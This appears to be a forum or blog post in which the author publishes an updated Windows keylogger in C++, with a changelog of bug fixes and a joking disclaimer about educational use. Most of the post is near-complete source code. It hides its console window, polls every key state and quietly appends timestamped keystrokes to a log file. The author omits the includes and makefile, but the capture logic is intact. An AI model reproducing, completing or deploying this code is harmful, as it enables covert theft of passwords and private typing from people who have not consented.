The previous keylogger I'd published had some issues.
This updated code corrects some (hopefully all) of those issues.
Namely:
- Fixed the scope error - character was declared inside while(1) but used by the for loop
- Removed registry functions - test_key() and create_key() were declared but never defined
- Fixed key detection - Changed from == -32767 to proper bitmask check & 0x8000
- Fixed letter case logic - Now properly checks shift/caps lock state for uppercase/lowercase
- Fixed file handling - File opened once outside the loop instead of repeatedly
- Added key repeat prevention - Prevents flooding the log with the same key held down
- Added timestamp - Logs when the program starts
Now, this here code is meant for educational and testin' purposes only. Ain't nobody can compel a grown ass man or woman to do one way or 'nother. But, if you were to find yourself in a place where you might could think it necessary to spy on thy brethren... well... don't.
For this very reason, the makefile is not included, and I'm leaving the code incomplete intentionally.
Do not use this tool on systems you do not own or have explicit written permission to test.
Code:
main.cpp
// Simple keylogger for educational/testing purposes
//**⚠️ IMPORTANT**: This is for educational use only. Only use on systems you own or have explicit permission to test. Unauthorized keylogging is illegal in most jurisdictions.
#includes go here
#define BUFSIZE 256
int get_keys(void);
int main(void)
{
// Hide console window
HWND stealth = GetConsoleWindow();
if (stealth != NULL) {
ShowWindow(stealth, SW_HIDE);
}
// Set low priority so it doesn't hog CPU
SetPriorityClass(GetCurrentProcess(), IDLE_PRIORITY_CLASS);
return get_keys();
}
int get_keys(void)
{
FILE *file = fopen("keylog.log", "a+");
if (file == NULL) {
return 1;
}
// Log start time
SYSTEMTIME st;
GetLocalTime(&st);
fprintf(file, "\n--- Keylog started at %04d-%02d-%02d %02d:%02d:%02d ---\n",
st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);
fflush(file);
short character;
while (1) {
Sleep(10); // Small delay to reduce CPU usage
for (character = 8; character <= 222; character++) {
// Check if key was pressed (most significant bit) and is currently down
if (GetAsyncKeyState(character) & 0x8000) {
// Handle printable characters (letters and numbers)
// Letters: A-Z (65-90), need to check shift state for case
if (character >= 'A' && character <= 'Z') {
// Check if shift is held
BOOL shift = GetAsyncKeyState(VK_SHIFT) & 0x8000;
BOOL caps = GetKeyState(VK_CAPITAL) & 0x0001;
// Determine final case
char c;
if (shift ^ caps) {
c = (char)character; // uppercase
} else {
c = (char)(character + 32); // lowercase
}
fputc(c, file);
fflush(file);
}
// Numbers and symbols (48-57)
else if (character >= '0' && character <= '9') {
fputc((char)character, file);
fflush(file);
}
// Space
else if (character == VK_SPACE) {
fputc(' ', file);
fflush(file);
}
// Special keys
else {
switch (character) {
case VK_RETURN:
fputs("\n[ENTER]\n", file);
break;
case VK_BACK:
fputs("[BACKSPACE]", file);
break;
case VK_TAB:
fputs("[TAB]", file);
break;
case VK_SHIFT:
case VK_LSHIFT:
case VK_RSHIFT:
fputs("[SHIFT]", file);
break;
case VK_CONTROL:
case VK_LCONTROL:
case VK_RCONTROL:
fputs("[CTRL]", file);
break;
case VK_MENU: // Alt key
case VK_LMENU:
case VK_RMENU:
fputs("[ALT]", file);
break;
case VK_DELETE:
fputs("[DEL]", file);
break;
case VK_CAPITAL:
fputs("[CAPS LOCK]", file);
break;
case VK_ESCAPE:
fputs("[ESC]", file);
break;
case VK_NUMPAD0: fputs("0", file); break;
case VK_NUMPAD1: fputs("1", file); break;
case VK_NUMPAD2: fputs("2", file); break;
case VK_NUMPAD3: fputs("3", file); break;
case VK_NUMPAD4: fputs("4", file); break;
case VK_NUMPAD5: fputs("5", file); break;
case VK_NUMPAD6: fputs("6", file); break;
case VK_NUMPAD7: fputs("7", file); break;
case VK_NUMPAD8: fputs("8", file); break;
case VK_NUMPAD9: fputs("9", file); break;
case VK_DECIMAL: fputs(".", file); break;
case VK_OEM_1: fputs(";", file); break;
case VK_OEM_2: fputs("/", file); break;
case VK_OEM_3: fputs("`", file); break;
case VK_OEM_4: fputs("[", file); break;
case VK_OEM_5: fputs("\\", file); break;
case VK_OEM_6: fputs("]", file); break;
case VK_OEM_7: fputs("'", file); break;
case VK_OEM_COMMA: fputs(",", file); break;
case VK_OEM_PERIOD: fputs(".", file); break;
case VK_OEM_MINUS: fputs("-", file); break;
case VK_OEM_PLUS: fputs("=", file); break;
default:
// Ignore unhandled keys
break;
}
fflush(file);
}
// Prevent rapid-fire repeats for the same key
while (GetAsyncKeyState(character) & 0x8000) {
Sleep(50);
}
}
}
}
fclose(file);
return 0;
}